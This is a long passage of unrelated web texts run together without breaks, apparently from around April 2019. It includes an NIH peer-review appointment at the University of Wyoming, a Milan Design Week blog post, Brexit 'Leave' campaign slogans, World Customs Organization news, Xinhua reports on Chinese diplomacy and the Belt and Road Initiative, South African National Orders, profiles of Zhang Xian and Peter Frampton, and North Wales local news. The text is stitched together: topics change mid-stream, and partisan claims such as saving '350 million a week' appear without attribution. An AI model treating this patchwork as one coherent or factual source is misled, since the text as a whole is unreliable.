10-12 grants to read and then write detailed critiques on each. At the meeting, Fay will discuss the strengths and weaknesses of the grants with other panel members. You get to hear about a lot of interesting, cutting-edge science, Fay explains. Grants ultimately receive scores and are ranked. And this serves as the major basis for whether a grant is funded or not, a decision that is made by NIH administrators and not the panel directly. Fay, who started at UW in 2001, is no stranger to research grants, as his UW lab is very active in molecular genetics research that is funded by the NIH. To maintain his research program, Fay has to publish papers and submit proposals on a regular basis. Additionally, Fay does a lot of work as associate director of the Wyoming IDeA Networks of Biomedical Research Excellence (INBRE). INBRE is a small, but important, branch of the NIH that awards program project grants to 23 states, mostly rural ones, including Wyoming, with low overall levels of NIH support. Wyoming INBRE promotes biomedical training and research at UW and also has a large impact on the states community colleges. Fay received his Ph.D. in molecular biophysics and biochemistry from Yale University, and his bachelors degree in chemistry from Tufts University. The scientific research enterprise has, at its foundation, peer review. Professor Fay has a richly deserved reputation for research excellence that extends nationally and globally, says Ed Synakowski, UWs vice president for the Office of Research and Economic Development. For NIH, peer review of the highest quality is essential, given the extraordinarily intense competition for research dollars and the stakes in ensuring that research is conducted according to the highest standards. Professor Fays selection as a member of the Development - 1 Study Section of the Center for Scientific Review says that he is held in the highest regard by NIH and his research peers from across the country, Synakowski continues. It is a reflection of the research excellence of his colleagues here at UW and is something of which all of UW can be rightly proud. I extend my wholehearted congratulations to him and my gratitude for his willingness to serve. I want to take this opportunity to emphasize the importance of Dr. Fays participation in assuring the quality of the NIH peer review process; express the NIH appreciation of your institution's support of its activities; and indicate the hope and expectation that institutional officials will provide continued support, says Noni Byrnes, director of the Center for Scientific Review. Hope you enjoyed my previous stories about Milan Design week, there is a lot more to come as I enjoyed a good seven days in Milan this year. Like most years I shared an apartment with Iris and Wen and we had a fantastic week in our favourite area which was a great starting point for most exhibitions and areas we wanted to visit. This year I did not work on the actual fair, as I mostly do every year for a day, collaborationg for an Italian magazine, together with a group of friends. This year I sticked to the Dutch and got the opportunity to work with Wen and our w/ Style agency together with Mosa, you might have seen our Instagram Stories over the last weeks. The Dutch tiles manufacturer returned to Milan this year with their installation Reflections to be part of Masterly the Dutch in Milano, a major and well known event during Milan Design week. Every year the Dutch change Palazzo Francesco Turati, located in the upcoming art and design district 5vie, into a Dutch Pavilion where some of the Netherlands best designers, companys and young talents present their work. While the court yard is turned into a colourful flower bed of 15.000 tulips that are hand out to the inhabitants of Milan on the last day of the exhibition. Drawing on Dutch culture and tradition, this years Dutch Pavilion in Milan is aligned with this years celebrations around a key anniversary linked to iconic painter Rembrandt van Rijn 2019 is Rembrandt Year in the Netherlands, marking 350 years from the great masters death. The Dutch Pavilion features a carefully selected constellation of the Dutch craft, design, and art professionals, touching upon themes inspired by Rembrandts legacy. Reflections | Mosa at Masterly Mosa took the visitors on a journey through space and time with Reflections Their installation, used mirrors as a reference to Rembrandts famous self-portraits, in combination with Terra Tones floor tiles and the elements of light and perspective. Sharpness and elegance defines Mosa ceramics and this was clearly translated through a calming, modern exhibition with a strong theoretical base. A beautiful minimalistic room with tactile ceramic surfaces featured warm colours and an easily legible, minimalist design that kept the overall aesthetic clean and sophisticated. In Milan Mosa introduced three new warm colours to the Terra Tones collection. Mosa scenes floor and wand tiles were used in combination with the portrait of Rembrandt at the entrance of the room, the tiles are available in eight colour groups, in four different nuances and textures for a perfect mix and match. Mosa w/ Style We always love to add a personal touch to each w/ Style collaboration by using the clients products and giving it our own twist. For this we styled some stills with a mix of tiles from the Mosa scenes collection and a beautiful Rembrandt self portrait. By creating a table setting, using dark colours, glass and linen, we gave our own take on the Rembrandt theme. We will be able to save 350 million a week We can spend our money on our priorities like the NHS, schools, and housing. We'll be in charge of our own borders In a world with so many new threats, it's safer to control our own borders and decide for ourselves who can come into this country, not be overrules by EU judges. We can control immigration A fairer system which welcomes people to the UK based on the skills they have, not the passport they hold. We'll be free to trade with the whole world The EU stops us signing our own trade deals with key allies like Australia or New Zealand, ad growing economies like India, China or Brazil. We'll be free to seize new opportunities which means more jobs. We can make our own laws Our laws should be made by people we can elect and kick out - that's more democratic. Within the framework of EU-WCO Programme for HS in Africa, funded by the European Union, the WCO conducted a diagnostic mission to support the Gambia Revenue Authority (GRA) in its efforts to accede to the Harmonized System (HS) Convention. The mission, which took place in Banjul, Gambia from 15 to 18 April 2019, was a good opportunity to hold a series of meetings and consultations with GRAs senior management, tariff classification experts and officers from other relevant units to discuss the process of becoming a Contracting Party to the HS Convention. The GRAs senior management organized a visit to Mrs. Ada Gaye, Permanent Secretary of the Ministry of Finance and Economic Affairs of the Gambia, during which the project team stressed the importance and advantages of accession to the HS Convention. The discussions during the different meetings highlighted that proper implementation of the HS at the national level would stretch far beyond the formal procedure of depositing an instrument of accession to the HS Convention and must always be supported by a sound tariff classification work model, including a set of respective policies, practices and infrastructure. Based on the WCO Diagnostic Tool on tariff classification work and infrastructure, the WCO team carried out a comprehensive assessment of the existing tariff classification work model and provided recommendations to the GRA as to how the national tariff classification work could be improved. There has been a consensus among the different GRAs senior management officials that ensuring timely implementation of the latest version of the HS is crucial and that the importance of strengthening the regional co-operation with the ECOWAS and its members when working on the Common External Tariff is indispensable. On the continental scale, Gambia was congratulated on becoming the 22nd nation to have approved the Africa Continental Free Trade Agreement, whereby the minimum threshold for the agreement to come into force has been reached. Acceding to the HS Convention is expected to be the next milestone that the country is soon to pass in its desire to facilitate trade and speak with the rest of the African continent one common language of international trade the HS. This mission was a first step in a process by which the WCO will provide tailor-made assistance to Gambia in adhering to and applying the HS Convention. For more information on this activity contact wcoHSAfrica@wcoomd.org Around 30 experts from Member Customs Administrations, regional and international organizations gathered in Amman, Jordan from 23 to 25 April 2019 for a transit workshop for the WCO North of Africa, Near and Middle East (MENA) region. The event was organized with the financial support of the WCO Reserve Fund and was hosted by Jordan Customs. In interactive sessions, the WCO set the scene by presenting the guiding principles for the establishment of efficient and effective transit regimes as outlined in the various sections of the WCO Transit Guidelines and the participants shared and discussed good practices, challenges and measures for further improvement of the various aspects of transit in the region. Highly informative presentations were delivered by the Agadir Technical Unit (ATU), the International Road Transport Union (IRU) and the Customs administrations of Algeria, Bahrain, Egypt, Iraq, Jordan, Morocco, Palestine, Sudan, Tunisia and Qatar. The workshop concluded with outlining strategic areas in which the Members of the MENA region would focus their efforts in view of enhancing their transit regimes. These include exchange of information, development of computerized transit systems, efficient risk management and security measures. The transit workshop for the MENA region was the sixth in a series of regional events planned by the WCO with the objective of promoting the implementation of the WCO Transit Guidelines launched in July 2017 and the establishment by Members of efficient and effective transit regimes in their territories. At the invitation of Mr. Ruslan Davydov, First Deputy Head of the Federal Customs Service of the Russian Federation, acting in his capacity as Vice-Chair of the WCO Europe region, WCO Secretary General Kunio Mikuriya attended the Europe Region Heads of Customs Conference in Saint Petersburg, Russian Federation, on 25 and 26 April 2019. Issues discussed during the Conference included transit system compatibility in the Europe region, Performance Measurement, E-Commerce and the draft WCO Strategic Plan. Strong support was also expressed for including Integrity and Digitalization in the list of WCO priorities. In addition, the Heads of the WCO regional bodies updated the Conference on their activities over the past year, with delegates being informed about the appointment of a new Head of the Regional Office for Capacity Building (ROCB) in Baku. The participants as a whole appreciated the excellent organization of the Conference and the warm hospitality extended by Russian Federation Customs. If you have an event you'd like to list on the site, submit it now! Submit Vets, first responders can get free tickets to Open Season Expo BEIJING, April 25 (Xinhua) -- China-Japan defense exchanges and cooperation are important components of bilateral relations, a Ministry of National Defense spokesperson said Thursday. At present, China-Japan relations have come back on track, said ministry spokesperson Ren Guoqiang, citing examples including the destroyer JS Suzutsuki (DD-117) taking part in celebration of the 70th anniversary of the founding of the People's Liberation Army Navy, as well as an official Japanese military delegation visiting China. China is willing to work with the Japanese side to implement the consensus reached by leaders of the two countries, enhance exchanges of the two defense establishments, properly manage and control differences, and enhance mutual trust to create favorable conditions to push forward China-Japan relations in the new era and make contributions to regional pace and development, Ren added. Wits academics bestowed with National Orders Professors Yosuf (Joe) Veriava and Thokozani Majozi are amongst the recipients of the 2019 National Orders. President Cyril Ramaphosa yesterday, 25 April 2019, bestowed National Orders on distinguished individuals who have made momentous contributions to the South Africa. In his address, Ramaphosa said the recipients of the National Orders represent the values, the ideals and the aspirations of the millions of South Africans who stood in line to vote for freedom on the 27th of April 1994.The National Orders are the highest honour that this country can bestow on its citizens and eminent foreign nationals. Veriava, an Emeritus Professor in the Department of Internal Medicine at Wits University, was bestowed with the Order of Luthuli in Silver for his contribution to the medical profession in South Africa. The Order of Luthuli acknowledges the contribution of South Africans to the struggle for democracy, to nation-building, to human rights, to justice and peace, and to conflict resolution. Known within the academic community for leading the Steve Biko court case against the South African Medical and Dental Council in 1985, Veriava has served the University and country for more than 30 years in pursuit of dignity and justice. He has been hailed for his fight for equity and transformation in the medical sector. In 2009 the University awarded him an honorary doctorate for his unwavering commitment and dedication to the human, moral, ethical and transformational aspirations of Wits and the communities it serves. Prof. Yusuf Veriava, Recipient of the Order of Luthuli in Silver for his excellent contribution to the medical profession in South Africa. He has consistently personified medical ethics and progressiveness. #NationalOrders pic.twitter.com/5ohnTsIaRF South African Government (@GovernmentZA) April 25, 2019 Majozi, a Full Professor in the School of Chemical and Metallurgical Engineering at Wits and DST/NRF SARChI Chair in Sustainable Process Engineering, received the Order of Mapungubwe in Bronze for his outstanding contribution to science. The Order of Mapungubwe recognises those who have accomplished excellence and exceptional achievement to the benefit of South Africa and beyond. A member of the Academy of Sciences of South Africa and board chairperson of the Council for Scientific and Industrial Research, Majozis main research interest are batch chemical process integration, sustainable process systems engineering and mathematical modelling. Prof. Thokozani Majazi, Recipient of the Order of Mapungubwe in Bronze for this outstanding contribution to science as a young scientist, particularly the development of a novel mathematical technique for near-zero-affluent batch chemical facilities. #NationalOrders pic.twitter.com/sLekmEe9zE South African Government (@GovernmentZA) April 25, 2019 He has received numerous awards for his research including the Burianec Memorial Award (Italy), the University of Pretoria Leading Minds Centenary Award, a S2A3 British Association Medal (Silver), the South African Institution of Chemical Engineers Bill Neal-May Gold Medal and the NSTF-BHP Billiton Category B Award. In 2016, he won the Research of Engineering Capacity Development award at the National Science and Technology Forum (NSTF)-South32 Awards. Four Wits alumni were also amongst this years recipients, including veteran journalist, Mathatha Tsedu; Benjamin Pogrund; Anthony Trew; and Dr Ari Sitas. Zhang Xian conducts on the stage.[Cultural and Education Section of British Embassy] Female conductors are seldom seen on the stage. Talented female conductors appear to be rarer. The BBC Music Magazine once selected the 11 most-outstanding female conductors from around the world, and China's Zhang Xian was the only Asian to make the list. Zhang, born in Dandong, in Northeast China's Liaoning Province, is music director with New Jersey Symphony Orchestra, in the United States, and she is principal guest conductor of BBC NOW (National Orchestra of Wales) in the United Kingdom. Prestigious Conductor Zhang enrolled at the middle school affiliated with Central Conservatory of Music (CCOM) when she was 11. She was admitted by CCOM six years later, where she was taught by famous female conductors Wu Lingfen and Zheng Xiaoying. She moved to the US in 1998, where she earned her doctorate in conducting from the Conservatory of Music at the University of Cincinnati College. She studied under prominent international conductor Lorin Maazel (1930-2014). "The biggest challenge for a conductor is the repeated study of the full music score, and the thorough familiarity with every sheet of music. It is a huge project. Half-an -hour performance on the stage means at least more than 20 hours of laborious desk work off the stage," Zhang told China Today reporter Zhou Lin. "When I was young, I had a hard time understanding some of Tchaikovsky's intricate music. However, as time went on, and as my experience expanded, I became able to appreciate the marvelous parts of the music, understand diverse versions of his works, and play out my own version of this great artist's music. That is a slow and progressive process, and cannot be achieved overnight," she added. "Nowadays, most young people are exposed to a wide range of information in various fields. They have musical proficiency and opportunities to communicate with the Western world, enabling them to grow up quickly," Zhang said, adding that every time she returns to China, she is surprised to discover that classical music is becoming more and more popular among Chinese youth. Creative Cooperation "We have five concerts in China's four biggest cities during this music tour to promote creative cooperation between China and Wales. It is a great honor for me to partner with the four cities, and for our orchestra to have a direct interaction with Chinese audiences," Michael Garvey, Director of BBC NOW, said. Zhang noted the tour was her first in China with a European orchestra. Zhang has devoted herself to communications with and collaboration between musicians in China and the UK. Zhang's connection with the UK can be traced back to the Promenade Concert, held in London in 2013. The annual summer event is the world's largest and most-renowned classical music gathering. In 2013, Zhang was conductor of the Symphony Orchestra of Milan Giuseppe Verdi, which performed during the Promenade Concert, as that year marked the 200th anniversary of the Italian opera composer Giuseppe Verdi's birth. Having lived overseas for two decades, and having accumulated international fame, Zhang said, at the technical level, Chinese musicians have the capability to stand on the global stage. From a cultural perspective, however, Chinese musicians still a long way to go, and must overcome some obstacles, she added. She advocates cultural communications during musical-exchange activities between China and the West. Well-Balanced Life Every year, conducting 80 to 100 performances, together with rehearsals and concert tours that follow, is a tough job for Zhang. What's more, she has to participate in the production of one or two operas a year. "Sometimes, it takes me eight or nine hours to complete the rehearsal of just one opera per day. Conducting is not just time-consuming, but also brain- and energy-consuming, making it a really demanding job," she said. Zhang is accustomed to taking round trips between Europe and the US. As a mother of two, she strives to maintain a balance between career and family. She strictly limits her time away from home to a maximum of two weeks, and she makes sure she stays at home and accompanies her children for a few days. Zhang is one of the female artists that joined the British Council's campaign "Inspiring Women in the Arts," which is designed to inspire young women about the world of the creative industries, to raise confidence and aspirations, and to enable them to make more informed choices about their careers. Zhang hopes to share her personal experience with more Chinese young women. "There are many talented girls, who, when faced with the choice between career and family, usually choose the latter because of the pressures from their relatives and friends. They do not try to find a balance between the two roles. Even though it means a more- challenging life, it can be achieved," Zhang said. "Girls should be more courageous and make their own decisions. Do not wait for others' encouragement, and don't be stopped by any objections. Be yourself, and do the things that you will never regret." A panel discussion with Zhang Xian (eighth from left) at Central Conservatory of Music [Cultural and Education Section of British Embassy] Zhang Xian conducts at a concert.[Cultural and Education Section of British Embassy] (Women of China English Monthly April 2019 issue) UMeShortly before Peter Frampton launches his farewell tour this summer, the British guitar whiz will release a new studio album recorded with his longtime backing group that celebrates his love of the blues. Peter Frampton Band's All Blues hits stores on June 7, and features renditions of 10 classics from the genre. The lead track, a cover of Willie Dixon's "I Just Want to Make Love to You," features the harmonica talents of Fabulous Thunderbirds frontman Kim Wilson. The song is available now as a digital single and via streaming services, and fans pre-ordering the album will receive an instant free download of the tune. All Blues was recorded at Frampton's Nashville studio with his touring band. A few guest guitarists also contributed to the album: Larry Carlton, Sonny Landreth and Deep Purple's Steve Morse. Peter says he was inspired to make All Blues while touring during the past two years with the Steve Miller Band. Frampton notes that he'd join Miller to play some blues tunes at their joint shows, which gave him the idea to record a selection of songs live in the studio. "Over a two-week period, we recorded 23 tracks," he explains of the sessions. "The energy of these tracks is completely different from building a track one instrument at a time." All Blues is available on CD, digitally, and as a two-LP set featuring a bonus track. A limited-edition blue-vinyl version of the double-LP can be purchased at PeterFrampton.com. As previously reported, Peter is retiring from the road because he's been diagnosed with Inclusion Body Myositis, a progressive muscle disorder. Frampton's Finale -- The Final Tour kicks off June 18 in Catoosa, Oklahoma. Here's the All Blues track list: "I Just Want to Make Love to You" -- featuring Kim Wilson "She Caught the Katy" "Georgia on My Mind" "Can't Judge a Book by the Cover" "Me and My Guitar" "All Blues" -- featuring Larry Carlton "The Thrill Is Gone" -- featuring Sonny Landreth "Going Down Slow" -- featuring Steve Morse "I'm a King Bee" "Same Old Blues" Bonus track (vinyl version only) "I Feel So Good" Copyright 2019, ABC Radio. All rights reserved. BEIJING, April 25 (Xinhua) -- China and German will hold the second medical service training exercise, a Ministry of National Defense spokesperson said Thursday. Relations of the two militaries have enjoyed sound development momentum in recent years, and practical cooperation, including the joint training exercise, has made solid progress, spokesperson Ren Guoqiang said. The two sides are in close communication on matters related to the joint exercise and relevant information will be released in due course, Ren added. A woman shows a contract about family doctor services.[Tuchong] The National Health Commission (NHC) has called for efforts to improve the quality of contracted family doctor services and enhance community-level medical services this year, according to an NHC circular. Local health authorities are urged to help expand the coverage of contracted family doctor services while at the same time guarantee service quality. Family doctors should take into consideration the overall health conditions of patients with multiple chronic diseases to satisfy their needs for diagnosis and treatment in outpatient service, so as to improve service efficiency, according to the notice. Family doctors as a team are urged to maintain close communication with residents they are serving in accordance with the contracts, and adjust health services to meet the needs of different people. To reduce the inconvenience of patients with chronic diseases repeatedly commuting to and from medical institutions, family doctors are encouraged to give prescriptions that are valid for up to eight weeks, on the premise that it is safe, reasonable and effective. China will also accelerate the construction of the information system of contracted family doctor services, which can offer services like contract signing, consultation and making medical appointments, according to the circular. Family doctors, including general practitioners registered with grassroots health institutions, qualified doctors at township clinics and village doctors, can provide comprehensive, continuous, timely and customized services, such as health consultation, evaluation and medication instructions for patients. (Source: Xinhua) With the second Belt and Road Forum for International Cooperation (BRF) taking place here, leaders around the globe are speaking highly of the initiative and voicing their expectations for the gathering. The Belt and Road Initiative (BRI), a reference to the Silk Road Economic Belt and the 21st Century Maritime Silk Road, was initiated by China in 2013 with the aim of enhancing all-around connectivity through infrastructure construction, exploring new driving forces for world economic growth, and building a new platform for world economic cooperation. The BRI has created a new dimension for the development of the world economy, and its long-term strategic plan is unusual, said President Ueli Maurer of the Swiss Confederation. The Swiss president believed that globalization is the key to successful global development, and to achieve globalization, infrastructure construction at various levels would be indispensable. In this sense, he said, the BRI is a future-oriented project that will contribute to globalization, in which everyone can benefit from improving and upgrading infrastructure. For his part, Malaysian Prime Minister Mahathir Mohamad said he had advocated the revival of the ancient Silk Road for a long time and believed the BRI will boost connectivity between China and Southeast Asia. "In the promotion of relations between countries, the distance as well as the speed of travel is very important. With this scheme, I am quite sure more ships will be passing near Malaysia and Southeast Asian countries and therefore it will increase trade between Southeast Asia and China." The 93-year-old prime minister will be joining other heads of state or government at the forum to discuss cooperation under the BRI, for which he has repeatedly expressed support. Tajik President Emomali Rahmon called the Belt and Road a multi-faceted "bridge" which can help unlock the transit potential of the landlocked Central Asian country and enable it to access worldwide markets. "The BRI implies creating a new model of international cooperation by strengthening the existing mechanisms, as well as seeking and implementing new mechanisms, with the aim of stimulating the economic development of countries involved," Rahmon said. Calling the BRI a "fantastic infrastructure project," Czech President Milos Zeman said, "I encourage Czech companies to participate in the construction of the new Silk Road, especially the railway construction. We have a good tradition in this area." "My intention is to propose the Czech Republic as one of the possible countries for the communication with European countries. And the Czech Republic will not be omitted in the process," Zeman said. Italy has become the first Group of Seven member to join the BRI, said Italian Prime Minister Giuseppe Conte. Conte said Italy is glad to seize the historic opportunity to join the BRI, adding that he strongly believes that it will help fully explore the potential of Italy-China cooperation. United Nations (UN) Secretary-General Antonio Guterres, who will host a seminar about green growth at the Belt and Road forum, said the BRI is a "very important opportunity" for the world. With such a huge volume of investment for international cooperation brought about by the BRI, it is a "very important opportunity for enhancing the capacity to implement the sustainable development goals and an important opportunity to launch green perspectives in the years to come," Guterres said before leaving for Beijing. (Source: Xinhua) Shen Yueyue, President of the All-China Women's Federation (ACWF), met with Henrietta H. Fore, UNICEF Executive Director, in Beijing, on April 24. After welcoming Fore, who came to attend the second Belt and Road Forum for International Cooperation (BRF), Shen said the Belt and Road Initiative (BRI) proposed by President Xi Jinping has drawn many active responses and the participation of an increasing number of countries and international organizations in the past six years. The BRF brings real benefits to people of the countries involved in the BRI, including their children and teenagers, as it promotes high-quality development of the Belt and Road and creates a better future, Shen noted. She briefed Fore on China's achievements in optimizing the laws and regulations concerning children's development and protection, implementing national planning and improving the mechanism to boost their health and education with the Party and government's support under the principle of "children are the priority." All the progress can be attributed to the strong leadership of the Communist Party of China (CPC) and its insistence on the path of socialism with Chinese characteristics, Shen remarked. She also appreciated the cooperation between UNICEF and China, and she looked forward to further strengthening exchange and sharing of experience to benefit teenagers and children. Shen said China was in a New Era with the goal of realizing people's happiness and the rejuvenation of the nation, and Chinese people were fulfilling the Chinese Dream of national rejuvenation under the leadership of the CPC Central Committee with Comrade Xi Jinping at its core. Fore thanked the ACWF for its fruitful cooperation with UNICEF, and she spoke highly of China's achievements in children's development. She added that China's experience has set a good example for the world and UNICEF was willing to expand exchange and cooperation with the ACWF and help facilitate the development of Chinese youth. Xia Jie, Vice-President and Member of the Secretariat of the ACWF, also attended the meeting. (Source: China Women's News/Translated and edited by Women of China ) Su Ping checks the condition of trees she planted at Qufu, Jining, Shandong Province, on March 24. [For China Daily/Zhao Ruixue] After spending eight years sparing no effort to plant trees among the numerous mountain villages of Qufu, Jining, in East China's Shandong Province, Su Ping said it's time to move her daughter's ashes from the mortuary to the tree-dotted hills so she can rest in peace among the greenery forever. "Before, I couldn't move her here because I was afraid she would be sad when she saw me tired out from toiling to plant trees. But now it's time, because her wishes have been almost fulfilled and my work has been greatly eased with so many kind-hearted people volunteering to join me in planting trees," said Su, adding that one of her daughter's wishes was to have her ashes buried in the mountainous area. The 64-year-old said she is considering moving her daughter's ashes when winter comes round this year. Born in Jining, Su's daughter, Yu Juan, died from breast cancer in 2011 at age 32. During the time she was hospitalized fighting the disease, Yu created a blog called To Live is the Truth, which was devoted to her thoughts about life. Her strong feeling for life and her contribution to society encouraged and inspired millions of followers. Su has always been proud of Yu, who worked as a teacher at Fudan University after earning a master's from the University of Oslo in Norway and a PhD from Fudan in Shanghai, focusing on policies related to environmental protection and energy. Su was desperate when Yu died. She spent six months at a monastery in Shanghai, where she suddenly remembered her promise to her daughter. "She loved nature very much. Once, we toured the countryside around Longwei village in Wucun, Qufu, a place surrounded by mountains. She was impressed by the amazing natural scenery and suggested I should plant trees on the mountains after I retired. I said yes to her," Su said. "After Yu Juan returned from Norway, she began working on an environmental protection project to build an energy forest - a plantation of fast-growing trees and shrubs to provide biomass or biofuel for heating or power generation - and chose Longwei as her research base, but she died before she could carry out the project." Challenge To fulfill Yu's wish of planting trees in the mountainous area, Su left the monastery and returned to Longwei in 2011 to take up the challenge, while her husband stayed in Shanghai to take care of Yu's son. Su adopted the nickname Shu Ping, meaning "smooth and peaceful." "Su Ping has gone with Yu Juan, but Shu Ping remains to fulfill one of Yu's wishes - planting trees," she said. In 2011, Su collected 300,000 yuan through various means, including selling their old house in Jining, to initiate a public welfare project called the Qufu Fusheng Energy Forest. "The project also has another name - the Norwegian Forest in China to commemorate my happy time when I visited Yu Juan in Norway. When she asked me how I liked the forest in Norway, and I answered 'it's amazing', she said 'Let's create a Norwegian forest in our hometown'," Su recalled. Since then, Su, who was a teacher and poor at manual labor and housework, has got up at 5 am and spent every day planting, watering and taking care of saplings. "I chose to plant Chinese pistache because this kind of tree can not only 'green' the mountains, but produces economic benefits as its leaves can be used to produce tea, its trunk can be used for carving and its seeds can be used to produce biodiesel fuel," she said. However, it wasn't easy to plant trees, and only 30 percent of the first batch of the Chinese pistache saplings Su bought from Shaanxi province survived. After trying everything she could think of - including consulting agricultural experts - she found the right way to plant Chinese pistache. However, that took three years. Now, over 90 percent of saplings and seeds planted on the mountains will survive, Su said. In addition to planting saplings, Su and many volunteers sowed around 4 metric tons of seeds across the mountains every year. Now more than 70 percent of the 660 hectares of mountainous land around Longwei is covered with trees. Su regards the trees as her children, and often talks to them. Walking around the mountains to check the trees' health has become her daily routine. "When I plant trees, I feel like Yu Juan is with me," she said, adding that she has received lots of help from local people, and more than 100,000 have volunteered to plant trees for the project. Local Assistance Ding Qinglou, Party secretary of Shimenshan town, which neighbors Wucun, said: "She (Su) used up all her savings and devoted all her time to planting trees, while keeping her activities secret from the public. At the beginning, I thought she was stubborn and might have a mental illness. "After planting trees for two years, I deeply understood why green mountains and clear water are equal to mountains of gold and silver - the idea put forward by President Xi Jinping," said Ding, who volunteered for the project along with his wife in 2017. In January, Kristin Halvorsen, director of CICERO - the Center for International Climate Research in Oslo, visited the forest and planted several saplings. Su said the project has not only fulfilled Yu's wish, but has also allowed her to personally feel the great love in the world and helped her gain the strength to live a peaceful life, even though her daughter has gone. During every summer vacation, Yu's son, who is now 10 years old, comes to the village to stay with Su. "He is such a nice boy. He understands what I am doing, which eases my sorrow for not spending enough time taking care of him. Yu Juan will be glad to rest among the trees planted by people who love her. I will do whatever I can to carry on this project," she said. Su shows local children how to plant trees at Qufu on March 13. [For China Daily/Chu Hong] (Source: China Daily) Move to ban disgusting sight of people smoking outside hospitals is welcomed This article is old - Published: Friday, Apr 26th, 2019 The sight of smokers crowding outside the doors of North Wales hospitals could soon become a thing of the past. It comes as the regions health board prepares to take a tougher stance against people smoking on the grounds of Wrexham Maelor Hospital, Ysbyty Glan Clwyd and Ysbyty Gwynedd. New regulations are set to come into force across Wales later this year to extend bans on the use of cigarettes to areas outside medical facilities. While most hospitals already have a no-smoking policy within their grounds, it is currently difficult for staff to enforce against it. Officials from Betsi Cadwaladr University Health Board said under the tighter rules fines would be handed to anyone caught smoking on site by working with local authorities. The news has been welcomed by a county councillor in Wrexham, who has branded the large number of discarded cigarettes dumped outside the towns hospital as disgusting. Cllr Nigel Williams, who represents Southsea, brought the issue to wider attention last month by posting a picture on Twitter of cigarette butts left below a no-smoking sign outside the main entrance. He said: Im at the hospital a couple of times a week and people just dont seem to care to be honest. Ive seen people smoking outside in wheelchairs before. I do appreciate some people do smoke and they find it hard to give up, but its not fair on the general public having to walk through a blanket of fog as you walk in and out of the door. If youve got respiratory problems its not very nice and its not good for people with medical problems. I fully agree with this and I know the legislation is due to change later this year. Patient surveys conducted by the health board show that smoking outside hospital entrances is one of the main sources of annoyance for visitors. Alarms issuing loudspeaker messages were previously installed outside the three hospitals in a bid to stamp out the issue. However, complaints about people lighting up have persisted. Betsi Cadwaladrs public health officer said it was hoped the new regulations would help to de-normalise smoking. In a report set to go before board members next week, Delyth Jones said: Smoking is the leading cause of preventable ill health and avoidable premature mortality in Wales. The percentage of adults smoking across Wales is decreasing, however, adult smoking prevalence across North Wales is still at 19 per cent. Welsh Government (WG) consulted on the draft Smoke Free Premises and Vehicles (Wales) Regulations 2018 last year, and these are due to come into force later this year. Key provisions in the draft regulations of direct relevance to the health board are the extension of the smoking ban to outdoor areas of hospital grounds and the requirement for health boards to work with local authorities to agree enforcement strategies with fixed penalties for anyone smoking on site (Also) the provision of signage within clearly marked boundaries in a prominent position at or near the main entrance, to include following text It is against the law to smoke in these hospital grounds. A task force has been set up by the health board in order to make sure the requirements are met. Under the legislation, hospitals will still be given discretion to provide designated areas for smoking within their grounds subject to certain conditions. However, Mrs Jones said Betsi Cadwaladr did not support having any in North Wales because of the need for the NHS to set an example. It is also expected that all mental health units in the region will be completely smoke free by 2021. By Liam Randall BBC Local Democracy Reporter (more here on the LDR scheme). (Click for large) Plans for 40mph buffer zone to cut speeding through Wrexham village This article is old - Published: Friday, Apr 26th, 2019 A new 40mph buffer zone could be introduced in a village on the outskirts of Wrexham in order to curb speeding. The Welsh Government is consulting on whether to bring in restrictions either side of Froncysyllte. Currently drivers can travel along the A5 at speeds of up to 60mph on the approaches from Chirk and Llangollen, but its only as they enter the village that the limit lowers to 30mph. However, officials from Cardiff have now outlined proposals to put a 40mph zone near both entrances. The move has been welcomed by one community leader who believes it will help to improve safety. Keith Sinclair, who lives in Froncysyllte and sits on Llangollen Rural Community Council, said: Personally, I think its a good thing because we have had many instances of traffic going through the village above the speed limit. The buffer zone will help to reduce the speed of traffic going through the village. My key priority is the safety of the people of the village so I support the proposals. He added: I would encourage people, whatever their views, to respond to the consultation so they can have an influence. The consultation was launched this week and was published as a statutory notice in the back of the local paper. Comments are required to be submitted by May 15, 2019. The proposals can be viewed by visiting the Welsh Government website www.gweddill.gov.wales/ Cllr Sinclair, who is a member of the Labour party, added that paper copies can also be found at Froncysyllte Post Office. By Liam Randall BBC Local Democracy Reporter (more here on the LDR scheme). (Click for large) Source: Xinhua| 2019-04-24 16:36:16|Editor: mingmei Video Player Close A Ukrainian couple practice Chinese calligraphy at Linyi Top Network Co., Ltd (Infotop) in Linyi, east China's Shandong Province, May 12, 2017. The couple came to work in Infotop in 2014. To further integrate itself with the Belt and Road Initiative, the Linyi-based China International Sino-India Science and Technology Innovation Cluster has been committed to introducing high-caliber talents from India, Ukraine, Russia and the Czech Republic, as well as carrying out researches on cloud computing, big data, software, robot and sensor industries. Foreign experts involved in these research programs have settled down in Linyi and started their brand-new life. Since the Belt and Road Initiative was put forward six years ago, the two "arches" have stretched out on land and sea. Brilliant talents emerge, passions of youth spark, sweet loves sprout, and magnificent ambitions thrive. It all happens when the Belt and Road provides the opportunity to help many individual dreams come true. (Xinhua/Yin Zhaogong) Source: Xinhua| 2019-04-25 22:24:04|Editor: Li Xia Video Player Close Chinese Premier Li Keqiang (R) meets with the United Arab Emirates (UAE) Vice President and Prime Minister Sheikh Mohammed bin Rashid Al Maktoum, who is here to attend the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 25, 2019. (Xinhua/Liu Bin) BEIJING, April 25 (Xinhua) -- Chinese Premier Li Keqiang on Thursday met with the United Arab Emirates (UAE) Vice President and Prime Minister Sheikh Mohammed bin Rashid Al Maktoum, who is here to attend the Second Belt and Road Forum for International Cooperation. Noting that China and the UAE are each other's important cooperation partners, the bilateral relations have maintained sound and steady development since the establishment of diplomatic ties 35 years ago, Li said. The premier noted that China has huge market potential and welcomes the UAE to expand its investment in the country. China is ready to work with the UAE to give full play to their respective advantages, strengthen all-round friendly cooperation, increase communication and coordination in international and regional affairs, and achieve common development, Li said. The UAE attaches importance to developing relations with China, and the cooperation between the two countries has gained a strong momentum, said Sheikh Mohammed bin Rashid Al Maktoum. The UAE firmly adheres to the one-China policy, supports the Belt and Road Initiative, and looks forward to consolidating strategic relations with China, he said. Source: Xinhua| 2019-04-25 22:34:18|Editor: Li Xia Video Player Close Yang Lan is seen in an interview with Xinhua on the sidelines of the conference of Women in an Inclusive Economy in New York, the United States, April 19, 2019. Chinese women have been actively engaged in the new economy and it has come to an age for the society to harness the gender revenue from women, said Yang Lan, a Chinese female celebrity. (Xinhua/Guo Peiran) by Xinhua writer Luo Jingjing NEW YORK, April 25 (Xinhua) -- Chinese women have been actively engaged in the new economy and it has come to an age for the society to harness the gender revenue from women, said Yang Lan, a Chinese female celebrity. "I call for our society to harness the gender dividend of women, their creativity, their ability of innovation and entrepreneurship," the 